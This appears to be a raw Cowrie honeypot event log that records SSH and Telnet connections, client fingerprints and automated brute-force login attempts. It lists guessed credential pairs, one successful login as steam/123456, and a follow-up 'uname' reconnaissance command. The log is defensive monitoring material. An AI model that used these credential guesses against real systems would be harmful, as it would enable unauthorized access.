{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:65:a1:a7:db:fa:17:89:42:66:f7:85:0e:4d:7a:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLo4EoXxpJPsafNGkX32qWZI+N2VdMG4wNY8xPlnIECORNetTwmZEBmqXGcw4M/K9iOVFtdTbCcXhFWRBVKzHB0pd99J60iS8w/v6krCy0rdBoSv2aPDuC+eV/vIQ389nGPu3DV6xDyzMCCf64il7ieYk8K0FA/PHSNNORAPbszi57dLAROj575iFeuMHVJTJ6pf5mGMm4X8CPFMLhVpXI6r75fROJ0J1cJNDCLS6BzNmENl9QFYBZWrOpnGfJZhkAfHssfY8rt60ZPl/Vfqs3AoE8tFZFZj4MACkQ7BL7CwNOt6RpP2PyKAx5MTI1QBtChQry+b5VowxJN7eKcU6V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:52.995722Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:53.068826Z","src_ip":"209.90.232.249","session":"2f0e47885dee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54144,"dst_ip":"159.203.135.109","dst_port":22,"session":"a00491368ca7","protocol":"ssh","message":"New connection: 192.109.200.237:54144 (159.203.135.109:22) [session: a00491368ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:53.104235Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":58512,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f424c8393af","protocol":"telnet","message":"New connection: 46.60.48.98:58512 (159.203.135.109:23) [session: 4f424c8393af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:53.124949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:53.217921Z","src_ip":"192.109.200.237","session":"a00491368ca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:53.221936Z","src_ip":"192.109.200.237","session":"a00491368ca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:53.556082Z","src_ip":"192.109.200.237","session":"a00491368ca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:54.643874Z","src_ip":"192.109.200.237","session":"a00491368ca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54156,"dst_ip":"159.203.135.109","dst_port":22,"session":"423f0d05c85d","protocol":"ssh","message":"New connection: 192.109.200.237:54156 (159.203.135.109:22) [session: 423f0d05c85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:56.498074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:56.502783Z","src_ip":"192.109.200.237","session":"423f0d05c85d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:56.590588Z","src_ip":"192.109.200.237","session":"423f0d05c85d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:56.843273Z","src_ip":"192.109.200.237","session":"423f0d05c85d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35414,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b04292eb875","protocol":"telnet","message":"New connection: 152.42.224.71:35414 (10.17.0.5:23) [session: 3b04292eb875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:57.321742Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:57.929531Z","src_ip":"192.109.200.237","session":"423f0d05c85d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54168,"dst_ip":"159.203.135.109","dst_port":22,"session":"35575be09f69","protocol":"ssh","message":"New connection: 192.109.200.237:54168 (159.203.135.109:22) [session: 35575be09f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:59.641328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:59.645940Z","src_ip":"192.109.200.237","session":"35575be09f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:59.728360Z","src_ip":"192.109.200.237","session":"35575be09f69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:27:59.975269Z","src_ip":"192.109.200.237","session":"35575be09f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:01.078683Z","src_ip":"192.109.200.237","session":"35575be09f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44056,"dst_ip":"159.203.135.109","dst_port":22,"session":"941a8ac2ccd9","protocol":"ssh","message":"New connection: 192.109.200.237:44056 (159.203.135.109:22) [session: 941a8ac2ccd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:02.893457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:02.899891Z","src_ip":"192.109.200.237","session":"941a8ac2ccd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:02.983318Z","src_ip":"192.109.200.237","session":"941a8ac2ccd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:03.230771Z","src_ip":"192.109.200.237","session":"941a8ac2ccd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:04.316282Z","src_ip":"192.109.200.237","session":"941a8ac2ccd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44070,"dst_ip":"159.203.135.109","dst_port":22,"session":"90310245277b","protocol":"ssh","message":"New connection: 192.109.200.237:44070 (159.203.135.109:22) [session: 90310245277b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:06.168725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:06.173390Z","src_ip":"192.109.200.237","session":"90310245277b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:06.255246Z","src_ip":"192.109.200.237","session":"90310245277b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:06.654011Z","src_ip":"192.109.200.237","session":"90310245277b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:07.738526Z","src_ip":"192.109.200.237","session":"90310245277b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44092,"dst_ip":"159.203.135.109","dst_port":22,"session":"afd382f581b9","protocol":"ssh","message":"New connection: 192.109.200.237:44092 (159.203.135.109:22) [session: afd382f581b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:09.603624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:09.610327Z","src_ip":"192.109.200.237","session":"afd382f581b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:09.694013Z","src_ip":"192.109.200.237","session":"afd382f581b9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:09.946222Z","src_ip":"192.109.200.237","session":"afd382f581b9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:10.161343Z","src_ip":"192.109.200.237","session":"afd382f581b9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:10.164939Z","src_ip":"192.109.200.237","session":"afd382f581b9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:10.251584Z","src_ip":"192.109.200.237","session":"afd382f581b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:10.257017Z","src_ip":"192.109.200.237","session":"afd382f581b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":32840,"dst_ip":"159.203.135.109","dst_port":22,"session":"82cbd3525e06","protocol":"ssh","message":"New connection: 94.159.98.239:32840 (159.203.135.109:22) [session: 82cbd3525e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:12.843226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:12.847919Z","src_ip":"94.159.98.239","session":"82cbd3525e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49174,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7a463e0d30c","protocol":"ssh","message":"New connection: 192.109.200.237:49174 (159.203.135.109:22) [session: e7a463e0d30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:12.886739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:12.891579Z","src_ip":"192.109.200.237","session":"e7a463e0d30c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:28:12.973749Z","src_ip":"94.159.98.239","session":"82cbd3525e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS